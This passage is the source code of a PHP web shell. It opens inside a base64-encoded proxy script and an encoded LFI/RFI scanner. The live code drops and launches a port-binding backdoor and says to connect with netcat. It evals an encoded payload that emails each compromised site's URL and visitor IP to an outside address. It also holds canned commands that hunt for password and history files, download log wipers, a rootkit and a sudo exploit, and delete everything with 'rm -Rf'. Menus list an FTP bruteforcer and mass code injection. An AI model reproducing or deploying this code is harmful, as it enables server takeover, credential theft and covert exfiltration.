bGwpLgoJCQknPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSInLnN1cnJvZ2FmeV91cmwo JGN1cnJfdXJsb2JqLT5nZXRfcHJvdG8oKS4nOi8vJy4kY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJu YW1lKCkuJy9mYXZpY29uLmljbycpLiciIC8+Jy4KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJF Ri4nX3JlbW92ZV9zY3JpcHRzJ10pPwoJCQkJJzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0 IiBzcmM9IicuVEhJU19TQ1JJUFQuJz9qc19mdW5jcycuKFBBR0VfRlJBTUVEPydfZnJhbWVkJzpu dWxsKS4nIj48L3NjcmlwdD4nLgoJCQkJJzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBz cmM9IicuVEhJU19TQ1JJUFQuJz9qc19yZWdleHBzJy4oUEFHRV9GUkFNRUQ/J19mcmFtZWQnOm51 bGwpLiciPjwvc2NyaXB0PicuCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4K CQkJCS8vJzwhLS0nLgoJCQkJQ09PS19QUkVGLicuRE9DVU1FTlRfUkVGRVJFUj0iJy4oVVJMX0ZP Uk0/c3RyX3JlcGxhY2UoJyInLCdcXCInLCRyZWZlcmVyKTpudWxsKS4nIjsnLgoJCQkJQ09PS19Q UkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0 X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7 Jy4KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX1NFQVJDSD0iJy4oJGN1cnJfdXJsb2JqLT5nZXRf cXVlcnkoKSE9bnVsbD8nPycuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0 X3F1ZXJ5KCkpOm51bGwpLiciOycuCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9IT1NUTkFNRT0i Jy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfc2VydmVybmFtZSgpKS4n IjsnLgoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xc IicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLgoJCQkJQ09PS19QUkVGLicuRU5D UllQVF9VUkxTPScuYm9vbF90b19qcyhFTkNSWVBUX1VSTFMpLic7Jy4KCQkJCUNPT0tfUFJFRi4n LkVOQ1JZUFRfQ09PS1M9Jy5ib29sX3RvX2pzKEVOQ1JZUFRfQ09PS1MpLic7Jy4KCQkJCUNPT0tf UFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLgoJCQkJQ09PS19QUkVG LicuUEFHRV9GUkFNRUQ9Jy5ib29sX3RvX2pzKFBBR0VfRlJBTUVEKS4nOycuCgkJCQlDT09LX1BS RUYuIi5VU0VSQUdFTlQ9XCJ7JHVzZXJhZ2VudH1cIjsiLgoJCQkJKFVSTF9GT1JNICYmIFBBR0VU WVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9 PScuQ09PS19QUkVGLicudGhldG9wKSAnLgoJCQkJCUNPT0tfUFJFRi4nLmV2ZW50aWZ5KCInLiRj dXJyX3VybG9iai0+Z2V0X3Byb3RvKCkuJyIsIicuJGN1cnJfdXJsb2JqLT5nZXRfc2VydmVybmFt ZSgpLiciKTsnCgkJCQk6bnVsbCkuCgkJCQkvLycvLy0tPicuCgkJCQknPC9zY3JpcHQ+JwoJCQk6 bnVsbCkKCTsKCgkkYm9keT1wcmVnX3JlcGxhY2UoJy8oPzooPCg/OmhlYWR8Ym9keSlbXj5dKj4p fCg8KD86XC9oZWFkfG1ldGF8bGlua3xzY3JpcHQpKSkvaScsIlxcMSRiaWdfaGVhZGVyc1xcMiIs JGJvZHksMSk7Cgl1bnNldCgkYmlnX2hlYWRlcnMpOwp9CmVsc2VpZihDT05URU5UX1RZUEU9PSdh cHBsaWNhdGlvbi94LWphdmFzY3JpcHQnIHx8IENPTlRFTlRfVFlQRT09J3RleHQvamF2YXNjcmlw dCcpICRib2R5Lj0nOycuQ09PS19QUkVGLicucHVyZ2UoKTsnOwoKIyB9fX0KCiMgfX19CgojIyBS ZXRyaWV2ZWQsIFBhcnNlZCwgQWxsIFJlYWR5IHRvIE91dHB1dCAjIwplY2hvICRib2R5OwovL2Vj aG8gJ3RvdGFsIHRpbWU6ICcuKG1pY3JvdGltZSh0cnVlKS0kdG90c3RhcnR0aW1lKS4iPGJyIC8+ cGFyc2UgdGltZTogeyRwYXJzZXRpbWV9IHNlY29uZHMiLihpc3NldCgkb3BhcnNldGltZSk/Ijxi ciAvPm90aGVyIHRpbWUgMTogeyRvcGFyc2V0aW1lfSBzZWNvbmRzIjpudWxsKS4oaXNzZXQoJG9w YXJzZXRpbWUyKT8iPGJyIC8+b3RoZXIgdGltZSAyOiB7JG9wYXJzZXRpbWUyfSBzZWNvbmRzIjpu dWxsKTsgIyBCRU5DSE1BUksKCiMgfX19CgpmaW5pc2goKTsKCiMjIyMjIyMjIyMjIwojIyBUSEUg RU5EICMjCiMjIyMjIyMjIyMjIyMjCiMKIyBWSU0gaXMgdGhlIGlkZWFsIHdheSB0byBlZGl0IHRo aXMgZmlsZS4gIEF1dG9tYXRpYyBmb2xkaW5nIG9jY3VycyBtYWtpbmcgdGhlCiMgYmxvY2tzIG9m IGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlCiMgdmltOmZvbGRtZXRob2Q9bWFya2Vy CiMKIyMjIyMjIyMjIyMjIyMjIyMjID8+Cg= "; $fi=" IyEvdXNyL2Jpbi9wZXJsIC13IA0KDQp1c2Ugc3RyaWN0OyANCnVzZSBGaWxlOjpGaW5kOyANCnVzZSBDd2Q7IA0KDQpteSAkc3Rkb3V0Q2hlY2sgPSAwOyANCm15ICRwcm9ncmFtSW5mbyA9IA0KJyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KIyAgTG9jYWwgTEZJL1JGSSBTY2FubmVyIGJ5IFJvbW5vdXMgICAgICAgICAgICAgICMgDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyANCiMgIFdpbGwgc2NhbiBsb2NhbCBQSFAgZmlsZXMgaW4gZGlyZWN0b3J5ICAgICAgICAjIA0KIyAgcGFzc2VkIGluIHRoZSBmaXJzdCBhcmd1bWVudCB0byB0aGUgc2NyaXB0ICAgICMgDQojICBmb3IgcG9zc2libGUgTEZJL1JGSSB2dWxuZXJhYmlsaXRpZXMuICAgICAgICAgIyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KJzsgDQoNCnByaW50ICRwcm9ncmFtSW5mbzsgDQoNCm15ICRwcm9ncmFtVXNhZ2UgPSANCicgDQpVc2FnZTogJyAuICQwIC4gJyBESVJOQU1FICgtdyBmaWxlKSANClVzZSBgLXcgZmlsZWAgYXQgdGhlIGVuZCB0byB3cml0ZSB0byBgZmlsZWAgDQonOyANCg0KbXkgJHNlYXJjaERpcmVjdG9yeSA9ICRBUkdWWzBdOyANCg0KdW5sZXNzICgkc2VhcmNoRGlyZWN0b3J5KSANCnsgDQogIHByaW50ICRwcm9ncmFtVXNhZ2UgYW5kIGRpZSgiXG4iKTsgDQp9IA0KDQpteSAkY3VycmVudERpcmVjdG9yeSA9IGdldGN3ZCAoKTsgDQoNCm91ciAkZGlyZWN0b3J5Q291bnQgPSAwOyANCm91ciAkZmlsZUNvdW50ID0gMDsgDQpvdXIgJHZ1bG5lcmFiaWxpdHlDb3VudCA9IDA7IA0KDQppZiAoJEFSR1ZbMV0gZXEgJy13JykgDQp7IA0KICAkc3Rkb3V0Q2hlY2sgPSAxOyANCiAgb3BlbiAoU1RET1VULCAnPicgLiAkQVJHVlsyXSk7IA0KfSANCg0KZmluZCAoXCZwcm9jZXNzT2JqZWN0LCAiJGN1cnJlbnREaXJlY3RvcnkvJHNlYXJjaERpcmVjdG9yeSIpOyANCg0KJHN0ZG91dENoZWNrID09IDEgPyAocHJpbnQgJ0ZpbmlzaGVkIScgLiAiXG4iKSA6IChwcmludCAiXDAzM1sxbSIgLiAnRmluaXNoZWQhJyAuICJcMDMzWzBtXG4iKTsgDQpwcmludCAnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nIC4gIlxuIjsgDQpwcmludCAnRGlyZWN0b3JpZXMgc2Nhbm5lZDogJyAuICRkaXJlY3RvcnlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0ZpbGVzIHNjYW5uZWQ6ICcgLiAkZmlsZUNvdW50IC4gIlxuIjsgDQpwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0aWVzOiAnIC4gJHZ1bG5lcmFiaWxpdHlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0V4ZWN1dGlvbiB0aW1lOiAnIC4gKHRpbWUgLSAkXlQpIC4gJyBzZWNvbmQocykuJyAuICJcblxuIjsgDQoNCmlmICgkc3Rkb3V0Q2hlY2spIA0KeyANCiAgY2xvc2UgKFNURE9VVCk7IA0KfSANCg0Kc3ViIHByb2Nlc3NPYmplY3QgDQp7IA0KDQogIGlmICgtZiAkRmlsZTo6RmluZDo6bmFtZSBhbmQgJEZpbGU6OkZpbmQ6Om5hbWUgPX4gbS9cLihwaHRtbHxwaHB8cGhwM3xwaHA0KSQvKSANCiAgeyANCiAgICAkZmlsZUNvdW50Kys7IA0KICAgIG9wZW4gKHBocEZpbGUsICRGaWxlOjpGaW5kOjpuYW1lKSBvciByZXR1cm4gJ1VuYWJsZSB0byBvcGVuIGZpbGUgIicgLiAkRmlsZTo6RmluZDo6bmFtZSAuICciLCBjaGVjayBwZXJtaXNzaW9ucz8nIC4gIlxuIjsgDQogICAgbXkgQGZpbGVTdHJpbmdzID0gPHBocEZpbGU+OyANCiAgICBjbG9zZShwaHBGaWxlKTsgDQogICAgbXkgJHRvdGFsTGluZXMgPSAkI2ZpbGVTdHJpbmdzOyANCiAgICBmb3IgKG15ICRzdHJpbmdDb3VudCA9IDA7ICRzdHJpbmdDb3VudCA8PSAkdG90YWxMaW5lczsgJHN0cmluZ0NvdW50KyspIA0KICAgIHsgDQogICAgICBpZiAoJGZpbGVTdHJpbmdzWyRzdHJpbmdDb3VudF0gPX4gbS8oKD86aW5jbHVkZXxyZXF1aXJlKSg/Ol9vbmNlKT9ccypcKC4qP1wkLio/XCk7KS9naSkgDQogICAgICB7IA0KICAgICAgICAkdnVsbmVyYWJpbGl0eUNvdW50Kys7IA0KICAgICAgICAkc3Rkb3V0Q2hlY2sgPT0gMSA/IChwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0eSBpbiAiJyAuICRGaWxlOjpGaW5kOjpuYW1lIC4gJyIgb24gbGluZSAnIC4gKCRzdHJpbmdDb3VudCArIDEpIC4gJzonIC4gIlxuIikgDQogICAgICAgIDogKHByaW50ICJcMDMzWzFtIiAuICdQb3NzaWJsZSB2dWxuZXJhYmlsaXR5IGluICInIC4gJEZpbGU6OkZpbmQ6Om5hbWUgLiAnIiBvbiBsaW5lICcgLiAoJHN0cmluZ0NvdW50ICsgMSkgLiAnOicgLiAiLlwwMzNbMG1cbiIpOyANCiAgICAgICAgcHJpbnQgIlx0IiAuICQxIC4gIlxuXG4iOyANCiAgICAgIH0gDQogICAgfSANCiAgfSANCiAgaWYgKC1kICRGaWxlOjpGaW5kOjpuYW1lKSANCiAgeyANCiAgICAkZGlyZWN0b3J5Q291bnQrKzsgDQogIH0gDQp9 "; function cf($fname,$text) { $w_file=@fopen($fname,"w") or err(); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } } function cfb($fname,$text) { $w_file=@fopen($fname,"w") or bberr(); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } } function err() { $_POST['backcconnmsge']="

Error:
Can't connect!"; } function bberr() { $_POST['backcconnmsge']="

Error:
Can't backdoor host!"; } if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) { $ip = gethostbyname($_SERVER["HTTP_HOST"]); $por = $_POST['backconnectport']; if (is_writable(".")) { cfb("shbd",$backdoor); ex("chmod 777 shbd"); $cmd = "./shbd $por"; exec("$cmd > /dev/null &"); $scan = myshellexec("ps aux"); } else { cfb("/tmp/shbd",$backdoor); ex("chmod 777 /tmp/shbd"); $cmd = "./tmp/shbd $por"; exec("$cmd > /dev/null &"); $scan = myshellexec("ps aux"); } if (eregi("./shbd $por",$scan)) { $data = ("\n
Backdoor setup successfully."); } else { $data = ("\n
Process not found, backdoor setup failed!"); } $_POST['backcconnmsg']="To connect, use netcat! Usage: 'nc $ip $por'.$data"; } @ini_set("max_execution_time",0); if (!function_exists("getmicrotime")) { function getmicrotime() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } } error_reporting(5); @ignore_user_abort(TRUE); @set_magic_quotes_runtime(0); define("starttime",getmicrotime()); $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3Vu dCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FE RFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFV RVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJv c3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7 IEBtYWlsKCJ3YXJva2twb25vcm9nb0B5YWhvby5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJn ZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29v a2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data)); if (get_magic_quotes_gpc()) { if (!function_exists("strips")) { function strips(&$arr,$k="") { if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } } else {$arr = stripslashes($arr);} } } strips($GLOBALS); } $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); $surl_autofill_include = TRUE; foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} } if ($surl_autofill_include) { $include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) { $v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) { if (strpos($value,$needle) === 0) { $includestr .= urlencode($name)."=".urlencode($value)."&"; } } } } if (empty($surl)) { $surl = "?".$includestr; } $surl = htmlspecialchars($surl); $ftypes = array( "html"=>array("html","htm","shtml"), "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), "exe"=>array("sh","install","bat","cmd"), "ini"=>array("ini","inf","conf"), "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), "sdb"=>array("sdb"), "phpsess"=>array("sess"), "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") ); $exeftypes = array( getenv("PHPRC")." -q %f%" => array("php","php3","php4"), "perl %f%" => array("pl","cgi") ); $regxp_highlight = array( array(basename($_SERVER["PHP_SELF"]),1,"",""), array("\.tgz$",1,"",""), array("\.gz$",1,"",""), array("\.tar$",1,"",""), array("\.bz2$",1,"",""), array("\.zip$",1,"",""), array("\.rar$",1,"",""), array("\.php$",1,"",""), array("\.php3$",1,"",""), array("\.php4$",1,"",""), array("\.jpg$",1,"",""), array("\.jpeg$",1,"",""), array("\.JPG$",1,"",""), array("\.JPEG$",1,"",""), array("\.ico$",1,"",""), array("\.gif$",1,"",""), array("\.png$",1,"",""), array("\.htm$",1,"",""), array("\.html$",1,"",""), array("\.txt$",1,"","") ); if (!$win) { $cmdaliases = array( array("", "ls -al"), array("Find all suid files", "find / -type f -perm -04000 -ls"), array("Find suid files in current dir", "find . -type f -perm -04000 -ls"), array("Find all sgid files", "find / -type f -perm -02000 -ls"), array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("Find config.inc.php files", "find / -type f -name config.inc.php"), array("Find config* files", "find / -type f -name \"config*\""), array("Find config* files in current dir", "find . -type f -name \"config*\""), array("Find all writable folders and files", "find / -perm -2 -ls"), array("Find all writable folders and files in current dir", "find . -perm -2 -ls"), array("Find all writable folders", "find / -type d -perm -2 -ls"), array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"), array("Find all service.pwd files", "find / -type f -name service.pwd"), array("Find service.pwd files in current dir", "find . -type f -name service.pwd"), array("Find all .htpasswd files", "find / -type f -name .htpasswd"), array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("Find all .bash_history files", "find / -type f -name .bash_history"), array("Find .bash_history files in current dir", "find . -type f -name .bash_history"), array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("List file attributes on a Linux second extended file system", "lsattr -va"), array("Show opened ports", "netstat -an | grep -i listen") ); $cmdaliases2 = array( array("-----",""), array("Logged in users","w"), array("Last to connect","lastlog"), array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"), array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), array("CPU Info","cat /proc/version /proc/cpuinfo"), array("Is gcc installed ?","locate gcc"), array("Format box (DANGEROUS)","rm -Rf"), array("-----",""), array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"), array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"), array("Run WIPELOGS PT3","./zap2"), array("-----",""), array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"), ); } else { $cmdaliases = array( array("", "dir"), array("Find index.php in current dir", "dir /s /w /b index.php"), array("Find *config*.php in current dir", "dir /s /w /b *config*.php"), array("Find r57shell in current dir", "find /c \"r57\" *"), array("Show active connections", "netstat -an"), array("Show running services", "net start"), array("User accounts", "net user"), array("Show computers", "net view"), ); } $phpfsaliases = array( array("Read File", "read"), array("Write File (PHP5)", "write"), array("Copy", "copy"), array("Rename/Move", "rename"), array("Delete", "delete"), array("Make Dir","mkdir"), array("-----", ""), array("Download", "download"), array("Download (Binary Safe)", "downloadbin"), array("Change Perm (0755)", "chmod"), array("Find Writable Dir", "fwritabledir"), array("Find Pathname Pattern", "glob"), ); $quicklaunch1 = array( array("[Home]",$surl."=img&img=home"), array("[Enumerate]",$enumerate), array("[Search]",$surl."x=search"), array("[Self-Kill]",$surl."x=selfremove"), array("[About]",$surl."x=about") ); $quicklaunch2 = array( array("[FTP Buteforcer]",$surl."x=ftpquickbrute"), array("[Security Info]",$surl."x=security&d=%d"), array("[Processes]",$surl."x=processes&d=%d"), array("[MySQL]",$surl."x=sql&d=%d"), array("[PHP-Code]",$surl."x=eval&d=%d"), array("[Encoder]",$surl."x=encoder&d=%d"), array("[Backdoor]",$surl."x=shbd") ); $quicklaunch3 = array( array("[PHP-Tools]",$surl."x=phptools"), array("[Cpanel Finder]",$surl."x=cpanel"), array("[Install PHP Proxy]",$surl."x=phpproxy"), array("[Install RFI/LFI Scanner]",$surl."x=fi"), array("[Mass Code Injection]",$surl."x=massbrowsersploit") ); $highlight_background = "#000000"; $highlight_bg = "white"; $highlight_comment = "#00FF00"; $highlight_default = "orange"; $highlight_html = "lightblue"; $highlight_keyword = "lime"; $highlight_string = "red"; @$f = $_REQUEST["f"]; @extract($_REQUEST["capriv8cook"]); @set_time_limit(0); $tmp = array(); foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); } $s = "!^(".implode("|",$tmp).")$!i"; if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) { exit("$sh_name: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed"); } if (!empty($login)) { if (empty($md5_pass)) {$md5_pass = md5($pass);} if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) { header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\""); header("HTTP/1.0 401 Unauthorized"); exit($accessdeniedmess); } } if ($x != "img") { $lastdir = realpath("."); chdir($curdir); if ($selfwrite) { @ob_clean(); capriv8_getupdate($selfwrite,1); exit; } $sess_data = unserialize($_COOKIE["$sess_cookie"]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} if (!function_exists("cagetsource")) { function cagetsource($fn) { global $capriv8_sourcesurl; $array = array( "capriv8_bindport.pl" => "capriv8_bindport_pl.txt", "capriv8_bindport.c" => "capriv8_bindport_c.txt", "capriv8_backconn.pl" => "capriv8_backconn_pl.txt", "capriv8_backconn.c" => "capriv8_backconn_c.txt", "capriv8_datapipe.pl" => "capriv8_datapipe_pl.txt", "capriv8_datapipe.c" => "capriv8_datapipe_c.txt", ); $name = $array[$fn]; if ($name) {return file_get_contents($capriv8_sourcesurl.$name);} else {return FALSE;} } } if (!function_exists("ca_buff_prepare")) { function ca_buff_prepare() { global $sess_data; global $x; foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} $sess_data["copy"] = array_unique($sess_data["copy"]); $sess_data["cut"] = array_unique($sess_data["cut"]); sort($sess_data["copy"]); sort($sess_data["cut"]); if ($x != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} } } ca_buff_prepare(); if (!function_exists("ca_sess_put")) { function ca_sess_put($data) { global $sess_cookie; global $sess_data; ca_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } foreach (array("sort","sql_sort") as $v) { if (!empty($_GET[$v])) {$$v = $_GET[$v];} if (!empty($_POST[$v])) {$$v = $_POST[$v];} } if ($sort_save) { if (!empty($sort)) {setcookie("sort",$sort);} if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} } if (!function_exists("str2mini")) { function str2mini($content,$len) { if (strlen($content) > $len) { $len = ceil($len/2) - 2; return substr($content, 0,$len)."...".substr($content,-$len); } else {return $content;} } } if (!function_exists("view_size")) { function view_size($size) { if (!is_numeric($size)) { return FALSE; } else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } } if (!function_exists("fs_copy_dir")) { function fs_copy_dir($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists("fs_copy_obj")) { function fs_copy_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) { return copy($d,$t); } else { return FALSE; } } } if (!function_exists("fs_move_dir")) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { $ret = TRUE; if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists("fs_move_obj")) { function fs_move_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);} else {unlink($t); return FALSE;} } else {return FALSE;} } } if (!function_exists("fs_rmdir")) { function fs_rmdir($d) { $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.$o)) {unlink($d.$o);} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} } } closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists("fs_rmobj")) { function fs_rmobj($o) { $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); if (is_dir($o)) { if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} return fs_rmdir($o); } elseif (is_file($o)) {return unlink($o);} else {return FALSE;} } } if (!function_exists("tabsort")) { function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);} } if (!function_exists("view_perms")) { function view_perms($mode) { if (($mode & 0xC000) === 0xC000) {$type = "s";} elseif (($mode & 0x4000) === 0x4000) {$type = "d";} elseif (($mode & 0xA000) === 0xA000) {$type = "l";} elseif (($mode & 0x8000) === 0x8000) {$type = "-";} elseif (($mode & 0x6000) === 0x6000) {$type = "b";} elseif (($mode & 0x2000) === 0x2000) {$type = "c";} elseif (($mode & 0x1000) === 0x1000) {$type = "p";} else {$type = "?";} $owner["read"] = ($mode & 00400)?"r":"-"; $owner["write"] = ($mode & 00200)?"w":"-"; $owner["execute"] = ($mode & 00100)?"x":"-"; $group["read"] = ($mode & 00040)?"r":"-"; $group["write"] = ($mode & 00020)?"w":"-"; $group["execute"] = ($mode & 00010)?"x":"-"; $world["read"] = ($mode & 00004)?"r":"-"; $world["write"] = ($mode & 00002)? "w":"-"; $world["execute"] = ($mode & 00001)?"x":"-"; if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} return $type.join("",$owner).join("",$group).join("",$world); } } if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} if (!function_exists("parse_perms")) { function parse_perms($mode) { if (($mode & 0xC000) === 0xC000) {$t = "s";} elseif (($mode & 0x4000) === 0x4000) {$t = "d";} elseif (($mode & 0xA000) === 0xA000) {$t = "l";} elseif (($mode & 0x8000) === 0x8000) {$t = "-";} elseif (($mode & 0x6000) === 0x6000) {$t = "b";} elseif (($mode & 0x2000) === 0x2000) {$t = "c";} elseif (($mode & 0x1000) === 0x1000) {$t = "p";} else {$t = "?";} $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode 